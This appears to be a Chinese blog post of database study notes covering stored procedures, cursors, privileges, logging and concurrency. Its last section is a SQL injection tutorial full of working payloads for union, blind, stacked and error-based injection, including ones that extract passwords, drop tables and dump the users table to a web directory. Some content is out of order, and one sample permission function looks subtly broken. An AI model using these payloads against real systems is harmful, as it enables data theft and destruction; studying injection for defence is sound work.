- 示例工具：Tomcat、Node.js、.NET Core。
- 特点：处理动态内容，可能包含事务管理、安全控制等。
数据库服务器（数据层）：
- 作用：存储数据并执行 SQL 查询/更新。
- 示例工具：MySQL、Oracle、PostgreSQL。
- 特点：高性能、高并发，支持 ACID 事务。

优势：分层设计提高了可维护性和扩展性，例如通过增加应用服务器实例应对高负载。

二、集中式 vs. 分布式数据库

特性	集中式数据库	分布式数据库
数据位置	单一服务器	跨多个节点
访问速度	本地访问快，但可能成为瓶颈	就近访问，速度更快
扩展性	垂直扩展（升级硬件）	水平扩展（增加节点）
并发能力	受单点限制	高并发，负载均衡
典型场景	小型应用、内部系统	大型互联网应用（如电商平台）

三、SQL 环境与存储过程

存储过程（Stored Procedure） 是预编译的 SQL 代码块，存储在数据库中，通过名称调用，支持以下功能：

参数模式：
- IN：输入参数（默认）。
- OUT：输出参数（需在调用时接收）。
- INOUT：双向参数。

创建示例：

CREATE PROCEDURE GetUser(IN userId INT, OUT userName VARCHAR(50))
BEGIN
  SELECT name INTO userName FROM Users WHERE id = userId;
END;

调用示例：

CALL GetUser(123, @name);
SELECT @name;  -- 获取输出参数

PSM（Persistent Stored Modules） 扩展了 SQL，支持过程式编程：

变量声明：DECLARE x INT DEFAULT 0;
控制结构：IF、LOOP、WHILE、FOR。
异常处理：通过 DECLARE HANDLER 捕获错误。

四、游标（Cursor）与结果集处理

游标用于逐行处理查询结果，典型流程如下：

声明游标：

DECLARE userCursor CURSOR FOR SELECT id, name FROM Users;

打开游标：
1
OPEN userCursor;

遍历数据：

FETCH userCursor INTO userId, userName;
WHILE SQLSTATE = '00000' DO
  -- 处理数据（如插入日志）
  FETCH userCursor INTO userId, userName;
END WHILE;

关闭游标：
1
CLOSE userCursor;

关键点：

使用 FETCH 逐行获取数据，SQLSTATE '02000' 表示无更多数据。
需配合循环和条件判断处理全部结果。

五、异常处理与事务控制

通过 DECLARE HANDLER 定义错误处理逻辑：

示例：

DECLARE EXIT HANDLER FOR SQLEXCEPTION
BEGIN
  ROLLBACK;  -- 回滚事务
  SELECT 'Error occurred';  -- 返回错误信息
END;

处理类型：

CONTINUE：继续执行后续语句。
EXIT：退出当前代码块。
UNDO：回滚事务并退出（需支持事务的存储引擎）。

六、实际应用场景

批量数据迁移：

CREATE PROCEDURE MigrateData()
BEGIN
  DECLARE done INT DEFAULT 0;
  DECLARE oldId INT;
  DECLARE cur CURSOR FOR SELECT id FROM OldTable;
  DECLARE CONTINUE HANDLER FOR NOT FOUND SET done = 1;
  
  OPEN cur;
  REPEAT
    FETCH cur INTO oldId;
    IF NOT done THEN
      INSERT INTO NewTable VALUES (oldId);
    END IF;
  UNTIL done END REPEAT;
  CLOSE cur;
END;

动态权限检查：

CREATE FUNCTION CheckAccess(userId INT, resource VARCHAR(20))
RETURNS BOOLEAN
BEGIN
  DECLARE hasAccess BOOLEAN;
  SELECT COUNT(*) INTO hasAccess 
  FROM Permissions 
  WHERE user_id = userId AND resource = resource;
  RETURN hasAccess;
END;

安全与用户授权

1. 权限类型与数据库对象

SQL定义了9种详细权限，针对不同数据库对象（如表、视图、触发器、存储过程等）：

SELECT：允许查询数据（可指定属性列）。
INSERT：允许插入新元组（可指定属性列）。
DELETE：允许删除元组。
UPDATE：允许修改数据（可指定属性列）。
REFERENCE：允许外键引用该表的列。
USAGE：允许使用模式中的非关系对象（如域、序列）。
TRIGGER：允许在表上创建触发器。
EXECUTE：允许执行存储过程或函数。
UNDER：允许基于现有类型创建子类型。

示例：

GRANT SELECT, INSERT ON Employees TO user1 WITH GRANT OPTION;

此语句允许 user1 查询和插入数据到 Employees 表，并可将权限授予他人。

2. 属主（Owner）与授权ID

属主：创建数据库对象（如表、模式）的用户自动成为属主，拥有所有权限。
授权ID：代表用户身份，包括：
- 用户授权ID（如登录名）。
- PUBLIC：所有用户。
- 当前授权ID：由会话或模块的 AUTHORIZATION 子句决定。

关键场景：

创建模式时，通过AUTHORIZATION指定属主：
1
CREATE SCHEMA Sales AUTHORIZATION alice;

连接数据库时指定会话授权ID：

CONNECT TO db1 USER bob IDENTIFIED BY 'password';

3. 权限检查流程

用户执行操作时，需满足以下条件之一：

当前授权ID是属主。
属主直接授予权限（包括通过 PUBLIC）。
通过模块执行：模块属主拥有所需权限。
公开模块与会话授权ID：若模块为公开，会话授权ID需有权限。

示例：
用户 bob 执行存储过程 proc1（属主为 alice），若 alice 对表 Orders 有 SELECT 权限，则 bob 可执行 proc1 查询 Orders，无需直接授权。

4. 授权与收权机制

GRANT：授予权限，可选 WITH GRANT OPTION。
1
GRANT UPDATE(salary) ON Employees TO user2 WITH GRANT OPTION;
- user2 可更新 salary 列，并可将权限授予他人。
REVOKE：收回权限，需指定 CASCADE 或 RESTRICT。
1
REVOKE SELECT ON Employees FROM user1 CASCADE;
- CASCADE：级联收回所有通过 user1 授予的权限。
- RESTRICT：若存在依赖权限，则拒绝收权。

5. 授权图（Privilege Graph）

节点：表示用户及其权限状态（如 AP* 表示用户A拥有权限P及授权选项）。
边：表示权限授予关系（如A授予B权限P）。
属主标记：P** 表示权限的原始属主。

授权图规则：

用户拥有权限的条件：从属主节点到该用户的权限节点存在有效路径。
收权操作会删除相关边，并检查节点是否仍与属主连通，否则删除节点。

示例：

属主 X 授予 A 权限P（带授权选项），形成边 XP** → AP*。
A 授予 B 权限P，形成边 AP* → BP。
若 X 收回 A 的权限（使用 CASCADE），则删除 XP** → AP* 和 AP* → BP，导致 A 和 B 的权限节点均被移除。

6. 视图与访问控制

视图可限制用户访问特定数据，增强安全性：

CREATE VIEW Sales_Dept_View AS
SELECT name, salary FROM Employees WHERE dept = 'Sales';
GRANT SELECT ON Sales_Dept_View TO sales_team;

用户 sales_team 仅能查看销售部门数据，无需访问完整 Employees 表。

7. 权限传递与安全策略

最小权限原则：仅授予必要权限，避免过度授权。
审计：监控权限授予与使用，防止滥用。
依赖管理：使用 RESTRICT 防止意外级联收权破坏依赖关系。

日志

undo/redo日志结合了undo和redo两种日志机制，能够灵活处理事务的恢复。以下是其恢复过程的详细步骤及关键问题分析：

1. 日志记录结构

undo/redo日志的记录格式为<T, X, v, w>，其中：

T：事务标识
X：数据库元素（如字段、页、元组）
v：修改前的旧值（用于undo）
w：修改后的新值（用于redo）

规则UR1：事务修改数据库元素X前，对应的日志记录必须写入磁盘（WAL原则）。
规则UR2：一旦日志中出现<COMMIT T>，必须立即刷新到磁盘，禁止推迟提交。

2. 恢复阶段

恢复过程分为两个阶段：

Redo阶段：从前往后扫描日志，重做所有已提交事务的修改。
Undo阶段：从后往前扫描日志，撤销所有未提交事务的修改。

步骤1：确定事务状态

已提交事务：日志中存在<COMMIT T>记录。
未提交事务：日志中存在<START T>但无<COMMIT T>或<ABORT T>记录。

步骤2：Redo阶段（重做已提交事务）

操作：从日志起始位置开始扫描，对每个
1
<T, X, v, w>
记录：
- 如果事务T已提交，将数据库元素X的值更新为w（新值）。
- 注意：即使X当前的值已经是w，仍需执行此操作（幂等性保证）。
目的：确保所有已提交事务的修改持久化到磁盘，即使实际数据写入因故障未完成。

步骤3：Undo阶段（撤销未提交事务）

操作：从日志末尾开始逆向扫描，对每个
1
<T, X, v, w>
记录：
- 如果事务T未提交，将数据库元素X的值恢复为v（旧值）。
目的：消除未完成事务对数据库的影响，保持一致性。

3. 关键问题与解决方案

问题1：推迟提交导致COMMIT记录丢失

场景：事务T已完成，但<COMMIT T>未刷新到磁盘时发生故障，恢复时认为T未提交。
解决：规则UR2强制<COMMIT T>一旦写入日志必须立即刷新，确保提交事务的持久性。

问题2：检查点优化

检查点作用：标记一个时间点，此前所有事务已提交或终止，缩小恢复范围。
实现：
1. 暂停接受新事务。
2. 等待当前活跃事务完成（提交或回滚）。
3. 刷新日志和缓冲区到磁盘。
4. 写入<CKPT>记录，继续接受新事务。
恢复时：只需处理最近检查点之后的日志，提升效率。

4. 恢复示例

假设日志片段如下：

<START T1>
<T1, A, 5, 10>
<START T2>
<T2, B, 3, 6>
<COMMIT T1>
<T2, C, 2, 4>
<CKPT>
<START T3>
<T3, D, 7, 14>

恢复过程：
1. 确定事务状态：T1已提交，T2未提交（无COMMIT），T3未提交（在CKPT后）。
2. Redo阶段：重做T1的A=10。
3. Undo阶段：撤销T2的B=3和C=2，撤销T3的D=7。

并发控制

一、并发执行方式

串行执行：
- 每个事务顺序执行，前一个完成后才开始下一个。
- 缺点：资源利用率低，无法发挥数据库共享特性。
交叉并发：
- 单处理机上，事务操作轮流执行（如T1读→T2写→T1写）。
- 优点：减少空闲时间，提高效率。
同时并发：
- 多处理机并行执行事务，真正实现物理并行。

二、为什么需要并发控制？

问题场景：多个事务同时读写同一数据可能导致：
- 丢失更新：两个写操作覆盖彼此结果。
- 脏读：读取未提交的中间数据。
- 不可重复读：同一事务两次读结果不同。
目标：通过调度保证事务的隔离性和一致性，使并发执行结果与某串行执行等价。

三、可串行化调度

串行调度：事务严格按顺序执行，结果正确但效率低。
可串行化调度：调度结果等价于某一串行调度。
- 冲突可串行化：通过交换非冲突操作可转换为串行调度。
- 冲突定义：两个操作涉及同一数据项且至少有一个是写操作。

示例：

事务T1：W(Y), W(X)
事务T2：W(Y), W(X)
调度L1（串行）：W1(Y)→W1(X)→W2(Y)→W2(X)
调度L2：W1(Y)→W2(Y)→W2(X)→W1(X)
- L2不可冲突可串行化（因W2(Y)在W1(Y)后，导致Y最终由T2写入），但结果与T2→T1串行执行相同，故仍为可串行化（非冲突可串行化）。

四、冲突可串行性检测：优先图

构建优先图：
- 节点：每个事务。
- 边：若事务Ti的操作先于Tj且冲突，则添加边Ti→Tj。
判断环的存在：
- 若优先图无环，则为冲突可串行化；否则不可。

示例：

调度：r1(X); r2(Y); w1(X); w2(Y)
优先图：无边（无冲突），故冲突可串行化。

五、锁机制实现可串行化

基本锁类型：
- 共享锁（S锁）：允许多事务读同一数据。
- 排他锁（X锁）：仅允许一个事务读写数据。
两阶段锁协议（2PL）：
- 扩展阶段：事务仅可加锁，不可解锁。
- 收缩阶段：事务仅可解锁，不可加锁。
- 保证冲突可串行化：通过锁的互斥性强制事务操作顺序。

锁相容矩阵：

当前持有锁	请求S锁	请求X锁
S锁	✓	✕
X锁	✕	✕

锁升级机制：
- 更新锁（U锁）：初始为读权限，可升级为X锁。
- 相容性：U锁与S锁兼容，但与U/X锁不兼容。

六、死锁处理

预防策略：
- 一次封锁法：事务启动时锁定所有需访问的数据（降低并发度）。
- 顺序封锁法：按固定顺序加锁（如按主键排序）。
诊断与解除：
- 超时法：事务等待超时后回滚。
- 等待图法：检测事务等待环，选择代价最小的事务回滚。

示例：

T1持有A锁请求B锁，T2持有B锁请求A锁→检测到环，回滚T1或T2。

七、多粒度锁与幻读问题

多粒度锁：允许对数据项、页、表等不同粒度加锁。
幻读：事务插入/删除导致范围查询结果不一致。
- 解决：通过间隙锁（Gap Lock）锁定索引范围，阻止插入。

SQL注入

前面谈了那么多数据库的具体内容，但没有涉及到SQL注入的内容，貌似有点本末倒置~~（或许也不是）~~，所以接下来该了解一下SQL注入的原理与技巧了

SQL注入的本质与原理

漏洞根源：字符串拼接陷阱

SQL注入的根本原因是将用户输入直接拼接到SQL语句中。当开发者使用字符串拼接方式构造SQL查询时，攻击者可通过精心构造的输入改变原SQL语义。

String query = "SELECT * FROM users WHERE username = '" + inputUser + "' AND password = '" + inputPass + "'";

SQL注入攻击技术详解

1. 基础注入手法

一、联合注入 (Union-Based Injection)

原理：
利用UNION SELECT合并恶意查询结果到原始查询结果集中，通过页面回显直接窃取数据。
攻击流程：

探测字段数：

ORDER BY n--   -- 逐步增加n直至报错（如n=5报错，则字段数为4）
UNION SELECT NULL,NULL,NULL,NULL--  -- 用NULL占位测试字段数

确定回显位：

UNION SELECT 1,'test1','test2',4--  -- 在页面中查找'test1'/'test2'出现位置

窃取数据：

UNION SELECT 1,username,password,4 FROM users--

关键技巧：

使用-1或无效ID使原始查询为空，确保只显示恶意结果
用CONCAT()合并字段（如CONCAT(user,0x3a,passwd)）

利用information_schema获取表/列名：

UNION SELECT 1,table_name,column_name,4 FROM information_schema.columns WHERE table_schema=database()--

适用场景：页面无显性错误回显，但可通过间接方式推断信息。

1. 布尔盲注 (Boolean-Based)

原理：根据页面内容真/假状态差异推断数据。
攻击流程：

AND (SELECT SUBSTRING(password,1,1) FROM users WHERE id=1)='a'--  -- 观察页面变化
AND (ASCII(SUBSTRING((SELECT @@version),1,1))>80--   -- 二分法加速猜测

自动化工具：

SQLMap的--technique=B参数
手动脚本循环猜测字符（ASCII值32-126）

2. 时间盲注 (Time-Based)

原理：通过延时函数构造条件触发响应延迟。
典型Payload：

AND IF(ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1))=97, SLEEP(5), 0)--

数据库差异：

数据库	延时函数
MySQL	`SLEEP(5)`, `BENCHMARK(1000000,MD5(1))`
PostgreSQL	`pg_sleep(5)`
MSSQL	`WAITFOR DELAY '0:0:5'`
Oracle	`dbms_pipe.receive_message('a',5)`

三、堆叠注入 (Stacked Queries Injection)

原理：利用分号;一次性执行多条SQL语句。
关键限制：

需数据库驱动支持多语句执行（如PHP+MySQL默认不支持，但MSSQL/PostgreSQL通常支持）
适用于非查询场景（增删改、文件读写）

典型攻击：

?id=1'; DROP TABLE users; --   -- 删表
?id=1'; CREATE TABLE hack(cmd text); --  -- 建表窃取数据
?id=1'; COPY users TO '/var/www/html/stolen.txt'; --  -- PostgreSQL文件导出

实战组合：

'; INSERT INTO logs(data) VALUES((SELECT @@version)); --   -- 将数据写入可读表

四、报错注入 (Error-Based Injection)

原理：故意触发数据库报错，使错误信息中包含敏感数据。

主流技术实现：

十字符报错（MySQL 5.x）

AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT @@version),0x3a,FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)--

原理：GROUP BY与RAND()导致的重复键冲突

XPATH报错（MySQL）
1
AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT user()),0x7e))--
原理：非法XPATH语法触发错误回显
数据类型转换（MSSQL）
1
AND (SELECT @@version WHERE 1=CONVERT(int,@@version))--
原理：将版本号强制转为INT导致转换失败

优势：

无需字段回显位
可单次请求获取数据（如updatexml(1,concat(0x7e,(SELECT table_name FROM information_schema.tables LIMIT 1)),1)）

类型	触发频率	访问新旧值方式
行级触发器	每行修改触发一次	`NEW.column` / `OLD.column`
语句级触发器	整个SQL语句完成后触发	通过临时表（如`NEW_TABLE`）

我要成为SQL糕手——数据库学习与SQL注入

SQL与代数查询语言

数据库操作

定义关系代数模式

定义字段与数据类型

定义约束

修改关系模式

代数查询语言的核心概念

选择（Selection）

投影（Projection）

连接（Join）

笛卡尔积（Cartesian Product）

差集（Set Difference）

并集（Union）

交集（Intersection）

Theta连接（Theta Join）

重命名（Renaming）

SQL中的操作

1. 投影操作（SELECT 子句）

2. 选择操作（WHERE 子句）

3. 字符串模式匹配（LIKE/NOT LIKE）

4. NULL 值处理

5. 输出排序（ORDER BY）

6. 多表查询与连接

7. 集合操作（UNION, INTERSECT, EXCEPT）

8. 子查询（Subqueries）

9. 分组与聚集（GROUP BY, 聚合函数）

10. 数据更新操作（INSERT, DELETE, UPDATE）

11. 事务控制（Transactions）

12. 高级连接操作

数据库约束

主键约束（Primary Key）

外键约束（Foreign Key）

唯一约束（Unique）

检查约束（Check）

默认值约束（Default）

非空约束（Not Null）

函数依赖

1. 函数依赖的定义

2. 函数依赖的分类

2.1 完全函数依赖（Full Functional Dependency）

2.2 部分函数依赖（Partial Functional Dependency）

2.3 传递函数依赖（Transitive Functional Dependency）

3. 函数依赖的闭包

4. 候选键（Candidate Key）

5. 函数依赖与数据库规范化

1. 第一范式（1NF）

2. 第二范式（2NF）

3. 第三范式（3NF）

Boyce-Codd范式（BCNF）

第四范式（4NF）

第五范式（5NF）/ 投影-连接范式（PJNF）

范式总结

6. 函数依赖的实际应用

数据库设计

高级数据库模型（E/R模型）

1. E/R模型基础

2. 二元联系的多样性

3. 多路联系与角色

4. 联系的属性

5. 子类（ISA联系）

6. 设计原则

7. E/R模型中的约束

8. 弱实体集

9. 从E/R图到关系设计

10. 示例：电影合同系统

11. 关键注意事项

约束与触发器

一、约束（Constraints）

1. 键约束（Key Constraints）

2. 外键（FOREIGN KEY）

3. 延迟约束检查（Deferred Constraints）

4. 属性与元组约束

5. 断言（Assertions）

二、触发器（Triggers）

1. 核心结构

2. 语法示例

3. 关键特性

4. 常见应用场景

三、约束与触发器的对比